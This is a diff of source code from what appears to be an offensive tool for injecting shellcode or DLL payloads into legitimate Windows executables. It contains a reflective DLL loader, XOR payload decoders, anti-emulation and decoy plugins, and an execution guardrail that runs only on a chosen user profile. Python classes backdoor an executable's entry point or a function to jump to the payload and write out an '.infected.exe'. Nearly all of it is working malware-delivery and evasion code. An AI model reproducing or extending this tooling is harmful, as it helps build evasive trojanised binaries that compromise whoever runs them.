// get this module's image base address
|
||||
PVOID imageBase = GetModuleHandleA(NULL);
|
||||
|
||||
// get pointers to in-memory DLL headers
|
||||
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
|
||||
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
|
||||
|
||||
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
|
||||
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// get delta between this module's image base and the DLL that was read into memory
|
||||
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
|
||||
|
||||
// copy over DLL image headers to the newly allocated space for the DLL
|
||||
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// copy over DLL image sections to the newly allocated space for the DLL
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
|
||||
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
|
||||
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
|
||||
section++;
|
||||
}
|
||||
|
||||
// perform image base relocations
|
||||
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
|
||||
DWORD relocationsProcessed = 0;
|
||||
|
||||
while (relocationsProcessed < relocations.Size)
|
||||
{
|
||||
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
|
||||
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
|
||||
|
||||
for (DWORD i = 0; i < relocationsCount; i++)
|
||||
{
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
|
||||
|
||||
if (relocationEntries[i].Type == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
|
||||
DWORD_PTR addressToPatch = 0;
|
||||
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
|
||||
addressToPatch += deltaImageBase;
|
||||
mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
|
||||
}
|
||||
}
|
||||
|
||||
// resolve import address table
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
|
||||
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
|
||||
LPCSTR libraryName;
|
||||
HMODULE library = NULL;
|
||||
|
||||
while (importDescriptor->Name != NULL)
|
||||
{
|
||||
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
|
||||
library = LoadLibraryA(libraryName);
|
||||
|
||||
if (library)
|
||||
{
|
||||
PIMAGE_THUNK_DATA thunk = NULL;
|
||||
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
|
||||
|
||||
while (thunk->u1.AddressOfData != NULL)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
|
||||
{
|
||||
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
|
||||
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
|
||||
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
|
||||
thunk->u1.Function = functionAddress;
|
||||
}
|
||||
++thunk;
|
||||
}
|
||||
}
|
||||
|
||||
importDescriptor++;
|
||||
}
|
||||
|
||||
*ret_dllBase = (DWORD_PTR)dllBase;
|
||||
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
{{plugin_antiemulation}}
|
||||
|
||||
{{plugin_decoy}}
|
||||
|
||||
{{plugin_executionguardrail}}
|
||||
|
||||
{{plugin_virtualprotect}}
|
||||
|
||||
int main()
|
||||
{
|
||||
char* dest = NULL;
|
||||
|
||||
// Call: Execution Guardrail
|
||||
if (executionguardrail() != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Call: Anti Emulation plugin
|
||||
antiemulation();
|
||||
|
||||
// Call: Decoy plugin
|
||||
decoy();
|
||||
|
||||
dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// FROM supermega_payload[]
|
||||
// TO dest[]
|
||||
// Including decryption
|
||||
{{ plugin_decoder }}
|
||||
|
||||
// Load the DLL at dest
|
||||
DWORD_PTR dllBase;
|
||||
DWORD aoep;
|
||||
load_dll( (void *) dest, &dllBase, &aoep);
|
||||
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
|
||||
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
#include <Windows.h>
|
||||
#include <time.h>
|
||||
|
||||
|
||||
char *supermega_payload;
|
||||
|
||||
#define p_RW 0x04
|
||||
#define p_RX 0x20
|
||||
#define p_RWX 0x40
|
||||
|
||||
/* DLL loader
|
||||
|
||||
This code will load a DLL (not a shellcode!) into
|
||||
existing memory region,
|
||||
resolve its imports, apply relocations, and execute it.
|
||||
|
||||
Loader is based on:
|
||||
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
|
||||
with some patches to make it work here
|
||||
*/
|
||||
|
||||
|
||||
typedef struct BASE_RELOCATION_BLOCK {
|
||||
DWORD PageAddress;
|
||||
DWORD BlockSize;
|
||||
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
|
||||
|
||||
typedef struct BASE_RELOCATION_ENTRY {
|
||||
USHORT Offset : 12;
|
||||
USHORT Type : 4;
|
||||
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||
|
||||
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
|
||||
void mymemcpy(void* dest, const void* src, size_t n) {
|
||||
char* d = (char*)dest;
|
||||
const char* s = (const char*)src;
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
d[i] = s[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
|
||||
// dllBase is expected to be page-aligned
|
||||
if ((DWORD_PTR)dllBase & 0xFFF)
|
||||
{
|
||||
MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
|
||||
}
|
||||
|
||||
// get pointers to in-memory DLL headers
|
||||
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
|
||||
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
|
||||
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
|
||||
|
||||
/*
|
||||
// VirtualProtect the sections correctly
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD protect;
|
||||
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
{
|
||||
protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
{
|
||||
protect = PAGE_READWRITE;
|
||||
}
|
||||
else
|
||||
{
|
||||
protect = PAGE_READONLY;
|
||||
}
|
||||
|
||||
DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
|
||||
DWORD_PTR sectionSize = section->SizeOfRawData;
|
||||
DWORD oldProtect;
|
||||
VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
|
||||
section++;
|
||||
}
|
||||
*/
|
||||
|
||||
// Overwrite PE header: First 0x1000 bytes
|
||||
/*
|
||||
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
|
||||
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// get delta between this module's image base and the DLL that was read into memory
|
||||
|
||||
// copy over DLL image headers to the newly allocated space for the DLL
|
||||
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// copy over DLL image sections to the newly allocated space for the DLL
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
|
||||
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
|
||||
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
|
||||
section++;
|
||||
}
|
||||
*/
|
||||
|
||||
// perform image base relocations
|
||||
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
|
||||
DWORD relocationsProcessed = 0;
|
||||
|
||||
while (relocationsProcessed < relocations.Size)
|
||||
{
|
||||
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
|
||||
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
|
||||
|
||||
for (DWORD i = 0; i < relocationsCount; i++)
|
||||
{
|
||||
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
|
||||
if (relocationEntries[i].Type == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
|
||||
//DWORD_PTR addressToPatch = 0;
|
||||
//ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
|
||||
DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
|
||||
//DWORD_PTR value = *addressToPatch;
|
||||
*addressToPatch += deltaImageBase;
|
||||
//mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
|
||||
}
|
||||
}
|
||||
|
||||
// resolve import address table
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
|
||||
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
|
||||
LPCSTR libraryName;
|
||||
HMODULE library = NULL;
|
||||
|
||||
while (importDescriptor->Name != NULL)
|
||||
{
|
||||
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
|
||||
library = LoadLibraryA(libraryName);
|
||||
|
||||
if (library)
|
||||
{
|
||||
PIMAGE_THUNK_DATA thunk = NULL;
|
||||
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
|
||||
|
||||
while (thunk->u1.AddressOfData != NULL)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
|
||||
{
|
||||
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
|
||||
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
|
||||
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
|
||||
thunk->u1.Function = functionAddress;
|
||||
}
|
||||
++thunk;
|
||||
}
|
||||
}
|
||||
|
||||
importDescriptor++;
|
||||
}
|
||||
|
||||
*ret_dllBase = (DWORD_PTR)dllBase;
|
||||
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
{{plugin_antiemulation}}
|
||||
|
||||
{{plugin_decoy}}
|
||||
|
||||
{{plugin_executionguardrail}}
|
||||
|
||||
{{plugin_virtualprotect}}
|
||||
|
||||
int main()
|
||||
{
|
||||
char* dest = supermega_payload;
|
||||
DWORD protect, oldProtect;
|
||||
|
||||
// Call: Execution Guardrail
|
||||
if (executionguardrail() != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Call: Anti Emulation plugin
|
||||
antiemulation();
|
||||
|
||||
// Call: Decoy plugin
|
||||
decoy();
|
||||
|
||||
MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
|
||||
|
||||
// FROM supermega_payload[]
|
||||
// TO dest[]
|
||||
// Including decryption
|
||||
{{ plugin_decoder }}
|
||||
|
||||
// Load the DLL at dest
|
||||
DWORD_PTR dllBase;
|
||||
DWORD aoep;
|
||||
load_dll( (void *) dest, &dllBase, &aoep);
|
||||
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
|
||||
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -5,7 +5,9 @@
|
||||
char *supermega_payload;
|
||||
|
||||
/* peb_walk
|
||||
Standard shellcode which will resolve IAT by itself with a peb_walk
|
||||
Test shellcode which will resolve IAT by itself with a peb walk
|
||||
no IAT reuse is performed
|
||||
no data reuse is performed
|
||||
*/
|
||||
|
||||
int main()
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
|
||||
void decoy() {
|
||||
// None
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
|
||||
void decoy() {
|
||||
WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
|
||||
|
||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||
int i = 0;
|
||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||
if (str1[i] != str2[i]) {
|
||||
return 1;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int executionguardrail() {
|
||||
// Execution Guardrail: Env Check
|
||||
wchar_t envVarName[] = L"USERPROFILE";
|
||||
wchar_t tocheck[] = L"{{guardrail_data}}";
|
||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (mystrcmp(buffer, tocheck) != 0) {
|
||||
return 6;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
int executionguardrail() {
|
||||
// None
|
||||
return 0; // All OK
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
|
||||
BOOL MyVirtualProtect(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldprotect
|
||||
) {
|
||||
return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect);
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
|
||||
// How many bytes we VirtualProtect
|
||||
#define VP_SIZE 16
|
||||
|
||||
BOOL MyVirtualProtect(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldprotect
|
||||
) {
|
||||
char *dest = (char *)lpAddress;
|
||||
|
||||
for(int n=0; n<(dwSize/4096)+1; n++) {
|
||||
if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -136,24 +136,6 @@ def file_to_lf(filename):
|
||||
f.write(data)
|
||||
|
||||
|
||||
def find_first_utf16_string_offset(data, min_len=8):
|
||||
current_string = bytearray()
|
||||
start_offset = None # To keep track of the start of the current string
|
||||
for i in range(0, len(data) - 1, 2):
|
||||
# Check if we have a valid character
|
||||
if data[i] != 0 or data[i+1] != 0:
|
||||
if start_offset is None: # Mark the start of a new string
|
||||
start_offset = i
|
||||
current_string += bytes([data[i], data[i+1]])
|
||||
else:
|
||||
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
|
||||
return start_offset # Return the offset where the string starts
|
||||
current_string = bytearray()
|
||||
start_offset = None # Reset start offset for the next string
|
||||
|
||||
return None # No string found that meets the criteria
|
||||
|
||||
|
||||
def round_up_to_multiple_of_8(x):
|
||||
return math.ceil(x / 8) * 8
|
||||
|
||||
@@ -169,6 +151,7 @@ def ui_string_decode(data):
|
||||
except Exception as e:
|
||||
logger.warning("ui_string_decode: {}".format(e))
|
||||
|
||||
|
||||
def ascii_to_hex_bytes(ascii_bytes):
|
||||
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
|
||||
return hex_escaped
|
||||
|
||||
+9
-11
@@ -13,27 +13,25 @@ PATH_EXES_MORE = "data/binary/exes_more/"
|
||||
PATH_SHELLCODES = "data/binary/shellcodes/"
|
||||
PATH_CARRIER = "data/source/carrier/"
|
||||
PATH_PAYLOAD = "data/source/payload/"
|
||||
PATH_DECODER = "data/source/carrier/decoder/"
|
||||
|
||||
PATH_DECODER = "data/source/decoder/"
|
||||
PATH_ANTIEMULATION = "data/source/antiemulation/"
|
||||
PATH_DECOY = "data/source/decoy/"
|
||||
PATH_GUARDRAILS = "data/source/guardrails/"
|
||||
PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
|
||||
|
||||
PATH_WEB_PROJECT = "projects/"
|
||||
|
||||
|
||||
# Correlated with real template files
|
||||
# in data/plugins/
|
||||
class DecoderStyle(Enum):
|
||||
PLAIN_1 = "plain_1"
|
||||
XOR_1 = "xor_1"
|
||||
XOR_2 = "xor_2"
|
||||
|
||||
|
||||
class PayloadLocation(Enum):
|
||||
CODE = "code"
|
||||
DATA = "data"
|
||||
CODE = ".text"
|
||||
DATA = ".rdata"
|
||||
|
||||
|
||||
class CarrierInvokeStyle(Enum):
|
||||
ChangeEntryPoint = "change EntryPoint"
|
||||
BackdoorCallInstr = "hijack Main"
|
||||
BackdoorCallInstr = "backdoor Entrypoint"
|
||||
|
||||
|
||||
class FunctionInvokeStyle(Enum):
|
||||
|
||||
@@ -6,37 +6,65 @@ from model.defs import *
|
||||
from pe.superpe import SuperPe, PeSection
|
||||
|
||||
|
||||
logger = logging.getLogger("Carrier")
|
||||
logger = logging.getLogger("Injectable")
|
||||
|
||||
|
||||
class IatRequest():
|
||||
def __init__(self, name: str, placeholder: bytes):
|
||||
self.name: str = name # Function Name, like "VirtualAlloc"
|
||||
self.placeholder: bytes = placeholder # Random bytes as placeholder
|
||||
self.references: List[bytes] = []
|
||||
self.add_reference(placeholder)
|
||||
|
||||
def add_reference(self, placeholder):
|
||||
self.references.append(placeholder)
|
||||
|
||||
|
||||
class DataReuseReference():
|
||||
def __init__(self, placeholder: bytes, register: str):
|
||||
self.placeholder: bytes = placeholder
|
||||
self.register: str = register
|
||||
|
||||
|
||||
class DataReuseEntry():
|
||||
def __init__(self, string_ref: str):
|
||||
def __init__(self, string_ref: str, in_code: bool = False):
|
||||
self.string_ref: str = string_ref # "$SG72513"
|
||||
self.data: bytes = b'' # the content/data
|
||||
self.addr: int = 0 # where content/data is stored
|
||||
self.in_code: bool = in_code # is the data in code section
|
||||
|
||||
self.register: str = "" # "rcx"
|
||||
self.randbytes: bytes = b"" # placeholder
|
||||
self.data: bytes = b''
|
||||
self.addr: int = 0
|
||||
self.references: List[DataReuseReference] = []
|
||||
|
||||
|
||||
class Carrier():
|
||||
def add_reference(self, placeholder, register):
|
||||
self.references.append(DataReuseReference(placeholder, register))
|
||||
|
||||
|
||||
class Injectable():
|
||||
def __init__(self, exe_file: str):
|
||||
self.iat_requests: List[IatRequest] = []
|
||||
self.reusedata_fixups: List[DataReuseEntry] = []
|
||||
self.exe_filepath: str = exe_file
|
||||
self.superpe: SuperPe = None
|
||||
|
||||
|
||||
def init(self):
|
||||
self.superpe = SuperPe(self.exe_filepath)
|
||||
|
||||
|
||||
# IAT
|
||||
|
||||
def add_iat_request(self, func_name: str, placeholder: bytes):
|
||||
# existing?
|
||||
for iat in self.iat_requests:
|
||||
if iat.name == func_name:
|
||||
iat.add_reference(placeholder)
|
||||
return
|
||||
|
||||
# new
|
||||
self.iat_requests.append(IatRequest(func_name, placeholder))
|
||||
|
||||
def get_all_iat_requests(self) -> List[IatRequest]:
|
||||
return self.iat_requests
|
||||
|
||||
def get_unresolved_iat(self):
|
||||
"""Returns a list of IAT entries not available in the PE file"""
|
||||
functions = []
|
||||
@@ -46,15 +74,6 @@ class Carrier():
|
||||
return functions
|
||||
|
||||
|
||||
# IAT
|
||||
|
||||
def add_iat_request(self, func_name: str, placeholder: bytes):
|
||||
self.iat_requests.append(IatRequest(func_name, placeholder))
|
||||
|
||||
def get_all_iat_requests(self) -> List[IatRequest]:
|
||||
return self.iat_requests
|
||||
|
||||
|
||||
# Data Reuse
|
||||
|
||||
def add_datareuse_fixup(self, fixup: DataReuseEntry):
|
||||
@@ -10,12 +10,10 @@ class Payload():
|
||||
def __init__(self, filepath: FilePath):
|
||||
self.payload_path: FilePath = filepath
|
||||
self.payload_data: bytes = b""
|
||||
self.len: int = 0
|
||||
|
||||
|
||||
def init(self):
|
||||
logging.info("--( Load payload: {}".format(self.payload_path))
|
||||
with open(self.payload_path, 'rb') as f:
|
||||
self.payload_data = f.read()
|
||||
self.len = len(self.payload_data)
|
||||
|
||||
|
||||
+3
-3
@@ -4,7 +4,7 @@ import shutil
|
||||
from model.defs import *
|
||||
from model.payload import Payload
|
||||
from model.settings import Settings
|
||||
from model.carrier import Carrier
|
||||
from model.injectable import Injectable
|
||||
|
||||
logger = logging.getLogger("Project")
|
||||
|
||||
@@ -22,7 +22,7 @@ class Project():
|
||||
self.comment: str = ""
|
||||
self.settings: Settings = settings
|
||||
self.payload: Payload = Payload(self.settings.payload_path)
|
||||
self.carrier: Carrier = Carrier(self.settings.inject_exe_in)
|
||||
self.injectable: Injectable = Injectable(self.settings.inject_exe_in)
|
||||
|
||||
self.project_dir: str = ""
|
||||
self.project_exe: str = ""
|
||||
@@ -30,7 +30,7 @@ class Project():
|
||||
|
||||
def init(self):
|
||||
self.payload.init()
|
||||
self.carrier.init()
|
||||
self.injectable.init()
|
||||
|
||||
|
||||
def prepare_project(project_name, settings):
|
||||
|
||||
@@ -11,15 +11,18 @@ class RangeManager:
|
||||
self.min = min
|
||||
self.max = max
|
||||
|
||||
if min > 0:
|
||||
self.intervals.add(Interval(0, min))
|
||||
|
||||
|
||||
def merge_overlaps(self):
|
||||
self.intervals.merge_overlaps(strict=False)
|
||||
|
||||
|
||||
def print_all(self):
|
||||
logger.info("Min: {} Max: {}".format(self.min, self.max))
|
||||
print("Min: {} Max: {}".format(self.min, self.max))
|
||||
for i in self.intervals:
|
||||
logger.info("Interval: {}-{}".format(i.begin, i.end))
|
||||
print("Interval: {}-{}".format(i.begin, i.end))
|
||||
|
||||
|
||||
def add_range(self, start, end):
|
||||
|
||||
+25
-2
@@ -11,9 +11,16 @@ class Settings():
|
||||
|
||||
# Settings
|
||||
self.carrier_name: str = ""
|
||||
self.decoder_style: DecoderStyle = DecoderStyle.XOR_1
|
||||
self.decoder_style: str = "xor_2"
|
||||
self.short_call_patching: bool = False
|
||||
|
||||
self.plugin_antiemulation = "none"
|
||||
self.plugin_decoy = "none"
|
||||
self.plugin_guardrail = "none"
|
||||
self.plugin_guardrail_data = "C:\\Users\\"
|
||||
self.plugin_virtualprotect = "standard"
|
||||
self.plugin_virtualprotect_data = ""
|
||||
|
||||
self.dllfunc: str = "" # For DLL injection
|
||||
|
||||
# Injectable
|
||||
@@ -31,7 +38,7 @@ class Settings():
|
||||
self.generate_shc_from_asm: bool = True
|
||||
|
||||
# More
|
||||
self.fix_missing_iat = False
|
||||
self.fix_missing_iat = True
|
||||
self.payload_location = PayloadLocation.DATA
|
||||
|
||||
# directories and filenames
|
||||
@@ -42,3 +49,19 @@ class Settings():
|
||||
self.main_shc_path = self.main_dir + "main.bin"
|
||||
self.inject_exe_out = "{}{}".format(
|
||||
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
|
||||
|
||||
def init_payload_injectable(self, shellcode, injectable, dll_func):
|
||||
self.payload_path = PATH_SHELLCODES + shellcode
|
||||
if shellcode == "createfile.bin":
|
||||
self.verify = True
|
||||
self.try_start_final_infected_exe = False
|
||||
else:
|
||||
self.cleanup_files_on_exit = False
|
||||
|
||||
self.inject_exe_in = injectable
|
||||
self.inject_exe_out = "{}{}".format(
|
||||
self.main_dir,
|
||||
os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")
|
||||
)
|
||||
|
||||
self.dllfunc = dll_func
|
||||
+2
-2
@@ -32,7 +32,7 @@ class FunctionBackdoorer:
|
||||
|
||||
|
||||
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
|
||||
logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr))
|
||||
logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr))
|
||||
|
||||
addr = self.find_suitable_instruction_addr(function_addr)
|
||||
if addr is None:
|
||||
@@ -64,7 +64,7 @@ class FunctionBackdoorer:
|
||||
|
||||
def find_suitable_instruction_addr(self, startOffset, length=256):
|
||||
"""Find a instruction to backdoor. Recursively."""
|
||||
logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
|
||||
logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
|
||||
startOffset, length, self.depth_option))
|
||||
|
||||
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
|
||||
|
||||
@@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper")
|
||||
# Its mostly used for verification of what we were doing.
|
||||
|
||||
|
||||
# PRE-LOAD a dll file into memory
|
||||
# This will load the DLL file into a memory buffer, already
|
||||
# loaded at the correct RVA addresses (e.g. sections page aligned).
|
||||
def preload_dll(payload_path: str) -> bytes:
|
||||
dllPe = pefile.PE(payload_path)
|
||||
dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage
|
||||
payload: bytearray = bytearray(dllImageSize)
|
||||
|
||||
# copy PE header sizeofheaders
|
||||
payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders]
|
||||
|
||||
# copy sections
|
||||
for section in dllPe.sections:
|
